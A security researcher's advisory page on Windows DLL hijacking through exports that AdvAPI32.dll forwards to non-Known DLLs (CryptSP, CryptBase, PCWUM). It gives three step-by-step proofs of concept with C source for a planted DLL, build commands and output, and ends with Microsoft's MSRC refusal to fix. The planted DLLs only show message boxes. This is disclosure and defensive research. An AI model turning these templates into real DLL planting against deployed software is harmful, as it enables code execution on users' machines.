Valid HTML 4.01 Transitional Valid CSS Valid SVG 1.0

Me, myself & IT

Unknown DLLs, API Sets and Forwarded Exports: when Compatibility means Vulnerability

Purpose
Reason
Details
Known DLLs
API Sets
LOAD_LIBRARY_SEARCH_* Flags
Example 1
Demonstration
Example 2
Demonstration
Example 3
Demonstration
MSRC Case 62299

Purpose

Document and demonstrate yet another (inherent) weakness of Windows’ module loader, which Microsoft® but denies to fix, despite the resulting vulnerability.

Reason

Due to its Dynamic-Link Library Search Order, applications executed in directories other than the system directory %SystemRoot%\System32\ are vulnerable to the well-known and well-documented weaknesses CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, and susceptible to the well-known and well-documented attack CAPEC-471: Search Order Hijacking.

Details

Note: the makefile DETOUR.MAK performs all necessary steps shown below.

Known DLLs

The MSDN article Dynamic-Link Library Search Order documents (the security impact of) Windows’ Known DLLs feature:
The following factors affect whether the system searches for a DLL:
Note: Known DLLs is a performance feature, it is not supposed to be a security feature; nevertheless it has but security impact!

API Sets

API Sets were introduced with Windows 7; while many of them are virtual DLLs only known to Windows’ module loader, quite some are shipped as regular DLLs named API-MS-Win-*-L?-?-?.dll or Ext-MS-Win-*-L?-?-?.dll and installed in Windows’ system directory %SystemRoot%\System32\.

The MSDN article Windows API sets defines API Sets:

An API set is a strong name for a list of Win32 APIs. The convention for assigning a strong name to an API set is to use what appears to be a DLL name. But the purpose of an API set is to provide architectural separation between the API set's name and its associated host DLL implementation for improved portability of your app, so you should think of an API set's name as just a unique character string, and not as a DLL name.

LOAD_LIBRARY_SEARCH_* Flags

The _LOAD_LIBRARY_SEARCH_* flags were introduced with Windows 8; the optional update 2533623 as well as the security update MS12-081 alias 2758857 made them available on Windows Vista, Windows Server 2008, Windows 7 and Windows Server 2008 R2 too.

The MSDN article Dynamic-Link Library Security documents (the security impact of) these flags:

Developers can help safeguard their applications against DLL preloading attacks by following these guidelines:
Note: the MSDN article but fails to mention the /DEPENDENTLOADFLAG linker option, introduced with Windows 10 1607 alias Anniversary Update, codenamed Redstone 1:
Sets the default load flags used when the operating system resolves the statically linked imports of a module.

/DEPENDENTLOADFLAG[:load_flags]

load_flags
An optional integer value that specifies the load flags to apply when resolving statically linked import dependencies of the module. The default value is 0. For a list of supported flag values, see the LOAD_LIBRARY_SEARCH_* entries in LoadLibraryEx.
[…]
[…] if you specify the link option /DEPENDENTLOADFLAG:0x800 (the value of the flag LOAD_LIBRARY_SEARCH_SYSTEM32), then the module search path is limited to the %windows%\system32 directory.

Example 1

With Windows 2000 SP2, Microsoft introduced the function SystemFunction035() alias RtlCheckSignatureInFile() in AdvAPI32.dll.

Note: the function SystemFunction035() alias RtlCheckSignatureInFile() is not documented!

Note: the import library AdvAPIp.lib shipped with the DDK for Windows Server 2003 SP1 and later versions of Windows NT provides the stub for the SystemFunction035() function.

Since AdvAPI32.dll is a Known DLL, this function was safe to use on Windows 2000, it didn’t allow DLL hijacking alias DLL spoofing by planting an arbitrary AdvAPI32.dll in a program’s application directory there.

With Windows 7, the implementation of the SystemFunction035() function was moved to CryptSP.dll; the export SystemFunction035 is now forwarded to CRYPTSP.CheckSignatureInFile.
Since CryptSP.dll is not a Known DLL, this change made the use of the SystemFunction035() function vulnerable to DLL hijacking alias DLL spoofing!

Demonstration

Perform the following 6 or 7 simple steps to demonstrate the vulnerability on Windows 7 and newer versions of Windows NT:
  1. Create the text file CryptSP.c with the following content in an arbitrary, preferable empty directory:
    // Copyright © 2014-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef _DLL
    #define RtlCheckSignatureInFile SystemFunction035
    
    __declspec(dllimport)
    BOOL	WINAPI	RtlCheckSignatureInFile(LPCWSTR Filename);
    
    __declspec(noreturn)
    VOID	CDECL	MainCRTStartup(VOID)
    {
    	ExitProcess(RtlCheckSignatureInFile(L"C:\\Windows\\Explorer.exe") ? ERROR_SUCCESS : GetLastError());
    }
    #else // _DLL
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    const	LPCSTR	szReason[4] = {"DLL_PROCESS_DETACH",
    		               "DLL_PROCESS_ATTACH",
    		               "DLL_THREAD_ATTACH",
    		               "DLL_THREAD_DETACH"};
    
    BOOL	WINAPI	_DllMainCRTStartup(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	LPCSTR			szModule = "<unknown>";
    	IMAGE_NT_HEADERS	*ntHeader = (IMAGE_NT_HEADERS *) ((LPBYTE) &__ImageBase + __ImageBase.e_lfanew);
    	DWORD			dwRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    	DWORD			dwSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    
    	if ((dwRVA != 0) && (dwSize >= sizeof(IMAGE_EXPORT_DIRECTORY)))
    	{
    		dwRVA = ((IMAGE_EXPORT_DIRECTORY *) ((LPBYTE) &__ImageBase + dwRVA))->Name;
    		if (dwRVA != 0)
    			szModule = (LPCSTR) ((LPBYTE) &__ImageBase + dwRVA);
    	}
    
    	return IDOK == MessageBoxExA(HWND_DESKTOP,
    	                             szReason[dwReason],
    	                             szModule,
    	                             dwReason == DLL_PROCESS_ATTACH ? MB_OKCANCEL : MB_OK,
    	                             MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
    }
    
    __declspec(dllexport)
    BOOL	WINAPI	CheckSignatureInFile(LPCWSTR Filename)
    {
    	SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
    
    	return FALSE;
    }
    #endif // _DLL
  2. If the DDK is not installed and the import library AdvAPIp.lib is therefore unavailable, run the following command lines to build an alternative import library AdvAPIp.lib from the source file CryptSP.c created in step 1.:
    CL.EXE /Zl /W4 /wd4100 /MD /GAFwy /c CryptSP.c
    LINK.EXE /LIB /DEF /EXPORT:SystemFunction035=CheckSignatureInFile /IGNORE:4197 /NAME:AdvAPI32 /NODEFAULTLIB /OUT:AdvAPIp.lib CryptSP.obj
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    CryptSP.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
       Creating library AdvAPIp.lib and object AdvAPIp.exp
  3. Run the following command lines to build the program CryptSP.exe from the source file CryptSP.c created in step 1.:
    CL.EXE /Zl /W4 /Ox /GAFwy /c CryptSP.c
    LINK.EXE /LINK /DYNAMICBASE /ENTRY:MainCRTStartup /NOCOFFGRPINFO /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:CONSOLE CryptSP.obj AdvAPIp.lib Kernel32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: CryptSP.exe builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    CryptSP.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
  4. Run the following command lines to execute the program CryptSP.exe and verify its proper function from the (decoded) exit code:
    .\CryptSP.exe
    CertUtil.exe /ERROR %ERRORLEVEL%
    Note: since C:\Windows\Explorer.exe contains no digital signature, the exit code 1813 alias ERROR_RESOURCE_TYPE_NOT_FOUND is expected.
    0x715 (WIN32: 1813 ERROR_RESOURCE_TYPE_NOT_FOUND) -- 1813 (1813)
    Error message text: The specified resource type cannot be found in the image file.
    CertUtil: -error command completed successfully.
  5. Run the following command lines to create an empty file CryptSP.dll next to the program CryptSP.exe, execute CryptSP.exe again, decode the exit code, and notice the error message boxes displayed from Windows’ module loader:
    COPY NUL: CryptSP.dll
    .\CryptSP.exe
    CertUtil.exe /ERROR %ERRORLEVEL%
    [Screen shot of error message box from Windows’ module loader]
    0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
    Error message text: {Entry Point Not Found}
    The procedure entry point %hs could not be located in the dynamic link library %hs.
    CertUtil: -error command completed successfully.

  6. Run the following command lines to build the DLL CryptSP.dll from the source file CryptSP.c created in step 1.:
    CL.EXE /Zl /W4 /wd4100 /Ox /MD /GAFwy /c CryptSP.c
    LINK.EXE /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /EXPORT:CheckSignatureInFile /IGNORE:4197 /NOCOFFGRPINFO /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:WINDOWS CryptSP.obj Kernel32.lib User32.lib
    Note: CryptSP.dll builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    CryptSP.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
       Creating library CryptSP.lib and object CryptSP.exp
  7. Repeat step 4. and notice the message boxes displayed from the DLL CryptSP.dll built in step 6.:
    .\CryptSP.exe
    CertUtil.exe /ERROR %ERRORLEVEL%
    [Screen shot of message box from _DllMainCRTStartup() of CryptSP.dll] [Screen shot of message box from _DllMainCRTStartup() of CryptSP.dll]
    0x78 (WIN32/HTTP: 120 ERROR_CALL_NOT_IMPLEMENTED) -- 120 (120)
    Error message text: This function is not supported on this system.
    CertUtil: -error command completed successfully.

Example 2

With Windows XP, Microsoft introduced the functions SystemFunction036() alias RtlGenRandom(), SystemFunction040() alias RtlEncryptMemory(), and SystemFunction041() alias RtlDecryptMemory() in AdvAPI32.dll.

The MSDN documents them as follows:

The RtlGenRandom function generates a pseudo-random number.

Note This function has no associated import library. This function is available as a resource named SystemFunction036 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.

[…]

BOOLEAN RtlGenRandom(
  PVOID RandomBuffer,
  ULONG RandomBufferLength
);
The RtlEncryptMemory function encrypts memory contents. The encrypted contents can be decrypted by a subsequent call to the RtlDecryptMemory function.

Note This function has no associated import library. This function is available as a resource named SystemFunction040 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.

[…]

NTSTATUS RtlEncryptMemory(
  PVOID Memory,
  ULONG MemorySize,
  ULONG OptionFlags
);
The RtlDecryptMemory function decrypts memory contents previously encrypted by the RtlEncryptMemory function.

Note This function has no associated import library. This function is available as a resource named SystemFunction041 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.

[…]

NTSTATUS RtlDecryptMemory(
  PVOID Memory,
  ULONG MemorySize,
  ULONG OptionFlags
);
Note: the first sentence of the statements This function has no associated import library. […] is but wrong and misleading; the import library AdvAPI32.lib shipped with the Platform SDK for Windows Server 2003 SP1 and later versions of Windows NT provides stubs for the SystemFunction036(), SystemFunction040() and SystemFunction041() functions!

Note: at least for Windows 7, the last sentence of these statements is also partially wrong and misleading: the functions LoadLibrary() and GetProcAddress() are both provided in the Known DLL Kernel32.dll, which depends through the API set API-MS-Win-Security-Base-L1-1-0.dll on AdvAPI32.dll; on Windows 7 it is therefore sufficient to use GetModuleHandle() instead of LoadLibrary() to load AdvAPI32.dll.

Since AdvAPI32.dll is a Known DLL, these functions were safe to use on Windows XP, they didn’t allow DLL hijacking alias DLL spoofing by planting an arbitrary AdvAPI32.dll in a program’s application directory there.

With Windows 7, their implementations were moved to CryptBase.dll; the stubs for SystemFunction036(), SystemFunction040() and SystemFunction041() remaining in AdvAPI32.dll load CryptBase.dll via LoadLibrary(), retrieve the target address via GetProcAddress(), call it, and finally unload CryptBase.dll via FreeLibrary().
With Windows 8.1, the stubs were replaced by forwarders to CryptBase.dll.
Since CryptBase.dll is not a Known DLL, both changes made the use of these functions vulnerable to DLL hijacking alias DLL spoofing!

Demonstration

Perform the following 5 simple steps to demonstrate the vulnerability on Windows 7 and newer versions of Windows NT:
  1. Create the text file CryptBase.c with the following content in an arbitrary, preferable empty directory:
    // Copyright © 2014-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER
    #define LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER	0x00004000UL
    #endif
    
    #ifndef _DLL
    __declspec(dllimport)
    BOOL	WINAPI	SetDefaultDllDirectories(DWORD Flags);
    
    #define RtlGenRandom SystemFunction036
    
    __declspec(dllimport)
    BOOLEAN	WINAPI	RtlGenRandom(LPVOID Buffer, DWORD Size);
    
    #define RtlEncryptMemory SystemFunction040
    
    __declspec(dllimport)
    LONG	WINAPI	RtlEncryptMemory(LPVOID Memory, DWORD Size, DWORD Flags);
    
    #define RtlDecryptMemory SystemFunction041
    
    __declspec(dllimport)
    LONG	WINAPI	RtlDecryptMemory(LPVOID Memory, DWORD Size, DWORD Flags);
    
    __declspec(noreturn)
    VOID	CDECL	MainCRTStartup(VOID)
    {
    	BYTE	cbBuffer[32];
    	DWORD	dwError = ERROR_SUCCESS;
    
    	if (!SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32))
    		dwError = GetLastError();
    
    	RtlGenRandom(cbBuffer, sizeof(cbBuffer));
    	RtlEncryptMemory(cbBuffer, sizeof(cbBuffer), 0);
    	RtlDecryptMemory(cbBuffer, sizeof(cbBuffer), 0);
    
    	ExitProcess(dwError);
    }
    
    #ifndef _WIN64
    static	DWORD	__security_cookie = 3141592654;
    
    extern	LPVOID	__safe_se_handler_table[];
    extern	BYTE	__safe_se_handler_count;
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY32	_load_config_used = {sizeof(_load_config_used),
    					                     'NULL',		// = 2011-08-24 19:09:00 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    					                     0,
    					                     LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER,
    					                     0,
    					                     &__security_cookie,
    					                     __safe_se_handler_table,
    					                     &__safe_se_handler_count,
    					                     0, 0, 0, 0, 0};
    #else
    static	DWORD64	__security_cookie = 3141592653589793241 >> 16;
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY64	_load_config_used = {sizeof(_load_config_used),
    					                     'NULL',		// = 2011-08-24 19:09:00 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0, 0, 0,
    					                     0, 0, 0, 0, 0, 0,
    					                     0,
    					                     0,
    					                     LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER,
    					                     0,
    					                     &__security_cookie,
    					                     0, 0, 0, 0, 0, 0,
    					                     0};
    #endif // _WIN64
    #else // _DLL
    #define STATUS_NOT_IMPLEMENTED	0xC0000002L
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    const	LPCSTR	szReason[4] = {"DLL_PROCESS_DETACH",
    		               "DLL_PROCESS_ATTACH",
    		               "DLL_THREAD_ATTACH",
    		               "DLL_THREAD_DETACH"};
    
    BOOL	WINAPI	_DllMainCRTStartup(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	LPCSTR			szModule = "<unknown>";
    	IMAGE_NT_HEADERS	*ntHeader = (IMAGE_NT_HEADERS *) ((LPBYTE) &__ImageBase + __ImageBase.e_lfanew);
    	DWORD			dwRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    	DWORD			dwSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    
    	if ((dwRVA != 0) && (dwSize >= sizeof(IMAGE_EXPORT_DIRECTORY)))
    	{
    		dwRVA = ((IMAGE_EXPORT_DIRECTORY *) ((LPBYTE) &__ImageBase + dwRVA))->Name;
    		if (dwRVA != 0)
    			szModule = (LPCSTR) ((LPBYTE) &__ImageBase + dwRVA);
    	}
    
    	return IDOK == MessageBoxExA(HWND_DESKTOP,
    	                             szReason[dwReason],
    	                             szModule,
    	                             dwReason == DLL_PROCESS_ATTACH ? MB_OKCANCEL : MB_OK,
    	                             MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
    }
    
    __declspec(dllexport)
    BOOLEAN	WINAPI	SystemFunction036(LPVOID Buffer, DWORD Length)
    {
    	return FALSE;
    }
    
    __declspec(dllexport)
    LONG	WINAPI	SystemFunction040(LPVOID Buffer, DWORD Length, DWORD Flags)
    {
    	return STATUS_NOT_IMPLEMENTED;
    }
    
    __declspec(dllexport)
    LONG	WINAPI	SystemFunction041(LPVOID Buffer, DWORD Length, DWORD Flags)
    {
    	return STATUS_NOT_IMPLEMENTED;
    }
    #endif // _DLL
  2. Run the following command lines to build the program CryptBase.exe from the source file CryptBase.c created in step 1.:
    CL.EXE /Zl /W4 /Ox /GAFwy /c CryptBase.c
    LINK.EXE /LINK /DEPENDENTLOADFLAG:0x4000 /DYNAMICBASE /ENTRY:MainCRTStartup /NOCOFFGRPINFO /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:CONSOLE CryptBase.obj AdvAPI32.lib Kernel32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: CryptBase.exe builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    CryptBase.c
    CryptBase.c(60) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    CryptBase.c(61) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    CryptBase.c(62) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
  3. Run the following command lines to execute the program CryptBase.exe and verify its proper function from the exit code:
    .\CryptBase.exe
    ECHO %ERRORLEVEL%
    0
  4. Run the following command lines to build the DLL CryptBase.dll from the source file CryptBase.c created in step 1.:
    CL.EXE /Zl /W4 /wd4100 /Ox /MD /GAFwy /c CryptBase.c
    LINK.EXE /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /EXPORT:SystemFunction036 /EXPORT:SystemFunction040 /EXPORT:SystemFunction041 /IGNORE:4197 /NOCOFFGRPINFO /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:WINDOWS CryptBase.obj User32.lib
    Note: CryptBase.dll builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    CryptBase.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
       Creating library CryptBase.lib and object CryptBase.exp
  5. Repeat step 3. and notice the message boxes displayed from the DLL CryptBase.dll built in step 4.:
    .\CryptBase.exe
    ECHO %ERRORLEVEL%
    [Screen shot of message box from _DllMainCRTStartup() of CryptBase.dll] [Screen shot of message box from _DllMainCRTStartup() of CryptBase.dll]
    0

Note: on Windows 10, even with /DEPENDENTLOADFLAG:0x4000 alias LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER set, the module loader follows the forwards CryptBase.SystemFunction* and loads CryptBase.dll from the application directory!

Note: on Windows 7, despite restricting the DLL search path via SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32) to the system directory %SystemRoot%\System32\, CryptBase.dll is loaded from the application directory, indicating that Microsoft’s developers once again failed to follow their own company’s security guidance, documented for example in the MSDN article Dynamic-Link Library Security and the MSKB article 2389418, and their (security) supervisor as well as quality assurance were sound asleep – ignorance is bliss!

Example 3

With Windows Vista, Microsoft introduced multiple functions Perf…() in AdvAPI32.dll, for example PerfStartProvider(), PerfStartProviderEx() and PerfStopProvider().

The MSDN documents them as follows:

Registers the provider.

[…]

ULONG PerfStartProvider(
  LPGUID         ProviderGuid,
  PERFLIBREQUEST ControlCallback,
  HANDLE         *phProvider
);
Registers the provider.

[…]

ULONG PerfStartProviderEx(
  LPGUID                 ProviderGuid,
  PPERF_PROVIDER_CONTEXT ProviderContext,
  PHANDLE                Provider
);
Removes the provider's registration from the list of registered providers and frees all resources associated with the provider.

[…]

ULONG PerfStopProvider(
  HANDLE ProviderHandle
);
Since AdvAPI32.dll is a Known DLL, these function were safe to use on Windows Vista, they didn’t allow DLL hijacking alias DLL spoofing by planting an arbitrary AdvAPI32.dll in a program’s application directory there.

With Windows 7, their implementations were moved to PCWUM.dll; all exports Perf… of AdvAPI32.dll were forwarded to the corresponding PCWUM.Perf….
Since PCWUM.dll is not a Known DLL, this change made the use of the Perf…() functions vulnerable to DLL hijacking alias DLL spoofing!

With Windows 10, their implementations were moved to KernelBase.dll; all exports Perf… of AdvAPI32.dll are now forwarded to the (virtual) DLL alias API set API-MS-Win-Core-PerfCounters-L1-1-0.dll, hosted by the Known DLL KernelBase.dll, and are therefore safe again.

Demonstration

Perform the following 5 simple steps to demonstrate the vulnerability on Windows 7 to Windows 8.1:
  1. Create the text file PCWUM.c with the following content in an arbitrary, preferable empty directory:
    // Copyright © 2014-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef _DLL
    #include <perflib.h>
    
    const	GUID	guid = {0, 0, 0, {0, 0, 0, 0, 0, 0, 0, 0}};
    
    __declspec(noreturn)
    VOID	CDECL	MainCRTStartup(VOID)
    {
    	HANDLE	hProvider;
    	DWORD	dwError = PerfStartProvider(&guid, NULL, &hProvider);
    
    	if (dwError == ERROR_SUCCESS)
    		dwError = PerfStopProvider(hProvider);
    
    	ExitProcess(dwError);
    }
    #else // _DLL
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    const	LPCSTR	szReason[4] = {"DLL_PROCESS_DETACH",
    		               "DLL_PROCESS_ATTACH",
    		               "DLL_THREAD_ATTACH",
    		               "DLL_THREAD_DETACH"};
    
    BOOL	WINAPI	_DllMainCRTStartup(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	LPCSTR			szModule = "<unknown>";
    	IMAGE_NT_HEADERS	*ntHeader = (IMAGE_NT_HEADERS *) ((LPBYTE) &__ImageBase + __ImageBase.e_lfanew);
    	DWORD			dwRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    	DWORD			dwSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    
    	if ((dwRVA != 0) && (dwSize >= sizeof(IMAGE_EXPORT_DIRECTORY)))
    	{
    		dwRVA = ((IMAGE_EXPORT_DIRECTORY *) ((LPBYTE) &__ImageBase + dwRVA))->Name;
    		if (dwRVA != 0)
    			szModule = (LPCSTR) ((LPBYTE) &__ImageBase + dwRVA);
    	}
    
    	return IDOK == MessageBoxExA(HWND_DESKTOP,
    	                             szReason[dwReason],
    	                             szModule,
    	                             dwReason == DLL_PROCESS_ATTACH ? MB_OKCANCEL : MB_OK,
    	                             MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
    }
    
    __declspec(dllexport)
    DWORD	WINAPI	PerfStartProvider(LPGUID lpGUID, LPVOID lpCallback, HANDLE *hProvider)
    {
    	return ERROR_CALL_NOT_IMPLEMENTED;
    }
    
    __declspec(dllexport)
    DWORD	WINAPI	PerfStopProvider(HANDLE hProvider)
    {
    	return ERROR_CALL_NOT_IMPLEMENTED;
    }
    #endif // _DLL
  2. Run the following command lines to build the program PCWUM.exe from the source file PCWUM.c created in step 1.:
    CL.EXE /Zl /W4 /Ox /GAFwy /c PCWUM.c
    LINK.EXE /LINK /DYNAMICBASE /ENTRY:MainCRTStartup /NOCOFFGRPINFO /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:CONSOLE PCWUM.obj AdvAPI32.lib Kernel32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: PCWUM.exe builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    PCWUM.c
    PCWUM.c(17) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
  3. Run the following command lines to execute the program PCWUM.exe and verify its proper function from the exit code:
    .\PCWUM.exe
    ECHO %ERRORLEVEL%
    0
  4. Run the following command lines to build the DLL PCWUM.dll from the source file PCWUM.c created in step 1.:
    CL.EXE /Zl /W4 /wd4100 /Ox /MD /GAFwy /c PCWUM.c
    LINK.EXE /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /EXPORT:PerfStartProvider /EXPORT:PerfStopProvider /IGNORE:4197 /NOCOFFGRPINFO /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:WINDOWS PCWUM.obj User32.lib
    Note: PCWUM.dll builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    PCWUM.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
       Creating library PCWUM.lib and object PCWUM.exp
  5. Repeat step 3. and notice the message boxes displayed from the DLL PCWUM.dll built in step 4.:
    .\PCWUM.exe
    ECHO %ERRORLEVEL%
    [Screen shot of message box from _DllMainCRTStartup() of PCWUM.dll] [Screen shot of message box from _DllMainCRTStartup() of PCWUM.dll]
    120

MSRC Case 62299

Due to its security impact – both SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32) and /DEPENDENTLOADFLAG:0x4000 fail to provide sufficient protection of exports forwarded to unknown DLLs against DLL hijacking alias DLL spoofing – Jason A. Donenfeld, the author of WireGuard® and I reported this vulnerability to the MSRC, where case number 62299 was assigned.

They replied with the following statements:

We determined your finding does not meet our bar for immediate servicing because KnownDlls is a performance--not security--feature. For more information, please see the following:
- It rather involved being on the other side of this airtight hatchway: Open access to the application directory (https://devblogs.microsoft.com/oldnewthing/20130802-00/?p=3633)
- Triaging a DLL planting vulnerability (https://msrc-blog.microsoft.com/2018/04/04/triaging-a-dll-planting-vulnerability/)
- Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria)
However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case.
Ouch: it’s not the Known DLLs feature what fails here, but the LOAD_LIBRARY_SEARCH_* flags, for load-time as well as run-time linking!

Note: once again, Microsoft denies to exercise defense in depth or to practise all due diligence and fails to protect its customers!

Contact and Feedback

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Use the X.509 certificate to send S/MIME encrypted mail.

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):


Copyright © 1995–2024 • Stefan Kanthak • <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>